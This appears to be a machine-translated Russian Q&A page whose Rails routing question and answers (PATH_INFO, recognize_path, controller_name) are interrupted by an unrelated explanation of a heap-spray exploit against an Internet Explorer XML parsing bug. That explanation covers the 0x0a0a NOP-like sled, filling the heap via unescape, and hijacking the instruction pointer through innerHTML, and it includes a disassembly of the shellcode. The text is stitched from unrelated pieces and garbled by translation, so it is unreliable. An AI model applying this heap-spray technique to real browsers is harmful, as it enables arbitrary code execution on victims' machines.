Как я могу узнать текущий маршрут в направляющих?
shellcode содержит некоторые x86 инструкции по сборке, которые сделают фактическое использование. spray создает длинную последовательность инструкций, которые будут помещены в memory. Так как мы не можем обычно узнавать точное местоположение нашего shellcode в памяти, мы помещаем много из nop инструкции перед ним и переход к где-нибудь там. Эти memory массив будет содержать фактический x86-код наряду с переходящим механизмом. Мы подадим обработанный XML к библиотеке, которая имеет ошибку. Когда это будет проанализировано, ошибка заставит регистр указателя команд быть присвоенным где-нибудь в нашем использовании, ведя к произвольному выполнению кода.
Для понимания более глубоко необходимо на самом деле выяснить то, что находится в x86-коде. unscape будет использоваться для помещения последовательности байтов, представленных строки в spray переменная. Это - действительный x86-код, который заполняет большой блок "кучи" и переходов к запуску shellcode. Причиной конечного условия являются ограничения длины строки механизма выполнения сценариев. У Вас не может быть строк, больше, чем определенная длина.
В x86 блоке, 0a0a представляет or cl, [edx]. Это эффективно эквивалентно nop инструкция для целей нашего использования. Везде, где мы переходим к в эти spray, мы доберемся до следующей инструкции, пока мы не достигнем shellcode, который является кодом, который мы на самом деле хотим выполнить.
при рассмотрении XML Вы будете видеть 0x0a0a, там также. Точно описание, что происходит, требует специальных знаний использования (необходимо знать, где ошибка и как это используется, который я не знаю). Однако кажется, что мы вынуждаем Internet Explorer инициировать содержащий ошибки код путем установки innerHtml к той злонамеренной строке XML. Internet Explorer пытается проанализировать его, и содержащий ошибки код так или иначе дает контроль к местоположению памяти, где массив существует (так как это - большой блок, вероятность перехода, там высоко). Когда мы перейдем там, ЦП будет продолжать выполняться or cl, [edx] инструкции до в пределах начало shellcode, это помещается в память.
я демонтировал shellcode:
00000000 C9 leave
00000001 2B1F sub ebx,[edi]
00000003 B10C mov cl,0xc
00000005 BDC536DB9B mov ebp,0x9bdb36c5
0000000A D9C5 fld st5
0000000C 2474 and al,0x74
0000000E 5A pop edx
0000000F F4 hlt
00000010 EA8331FC0B6A6A jmp 0x6a6a:0xbfc3183
00000017 03D4 add edx,esp
00000019 07 pop es
0000001A 67305CFF xor [si-0x1],bl
0000001E 98 cwde
0000001F BBD7FFA4FE mov ebx,0xfea4ffd7
00000024 9B wait
00000025 74AD jz 0xffffffd4
00000027 058B8B028D add eax,0x8d028b8b
0000002C D893BCCD35A2 fcom dword [ebx+0xa235cdbc]
00000032 37 aaa
00000033 B84290A63A mov eax,0x3aa69042
00000038 94 xchg eax,esp
00000039 E99AA4D58D jmp 0x8dd5a4d8
0000003E E5A3 in eax,0xa3
00000040 1F pop ds
00000041 4C dec esp
00000042 EB46 jmp short 0x8a
00000044 4B dec ebx
00000045 8CD0 mov eax,ss
00000047 AD lodsd
00000048 A844 test al,0x44
0000004A 52 push edx
0000004B 4A dec edx
0000004C 3B81B80DD748 cmp eax,[ecx+0x48d70db8]
00000052 4B dec ebx
00000053 D46C aam 0x6c
00000055 46 inc esi
00000056 1392734A204F adc edx,[edx+0x4f204a73]
0000005C F8 clc
0000005D 6E outsb
0000005E DC8EA20726B4 fmul qword [esi+0xb42607a2]
00000064 04D4 add al,0xd4
00000066 D084ECBA978221 rol byte [esp+ebp*8+0x218297ba],1
0000006D 7CE8 jl 0x57
0000006F C0CA8C ror dl,0x8c
00000072 F4 hlt
00000073 A6 cmpsb
00000074 47 inc edi
00000075 210D2EA0B0CD and [0xcdb0a02e],ecx
0000007B 2CA8 sub al,0xa8
0000007D B05B mov al,0x5b
0000007F 43 inc ebx
00000080 F4 hlt
00000081 24E8 and al,0xe8
00000083 7A9C jpe 0x21
00000085 BB857DCBA0 mov ebx,0xa0cb7d85
0000008A 7DED jnl 0x79
0000008C 92 xchg eax,edx
0000008D 09E1 or ecx,esp
0000008F 96 xchg eax,esi
00000090 315580 xor [ebp-0x80],edx
Понимание этого shellcode требует x86 знания блока и проблемы в самой библиотеке MS (для знания то, что - состояние системы, когда мы достигаем здесь), не JavaScript! Этот код в свою очередь выполнится calc.exe.
3 ответа
Чтобы узнать URI:
current_uri = request.env['PATH_INFO']
# If you are browsing http://example.com/my/test/path,
# then above line will yield current_uri as "/my/test/path"
Чтобы узнать маршрут, то есть контроллер, действие и параметры:
path = ActionController::Routing::Routes.recognize_path "/your/path/here/"
# ...or newer Rails versions:
#
path = Rails.application.routes.recognize_path('/your/path/here')
controller = path[:controller]
action = path[:action]
# You will most certainly know that params are available in 'params' hash
Я предполагаю, что вы имеете в виду URI:
class BankController < ActionController::Base
before_filter :pre_process
def index
# do something
end
private
def pre_process
logger.debug("The URL" + request.url)
end
end
Согласно вашему комментарию ниже, если вам нужно имя контроллера, вы можете просто сделать это:
private
def pre_process
self.controller_name # Will return "order"
self.controller_class_name # Will return "OrderController"
end
Вы можете увидеть все маршруты через rake: routes (это может вам помочь).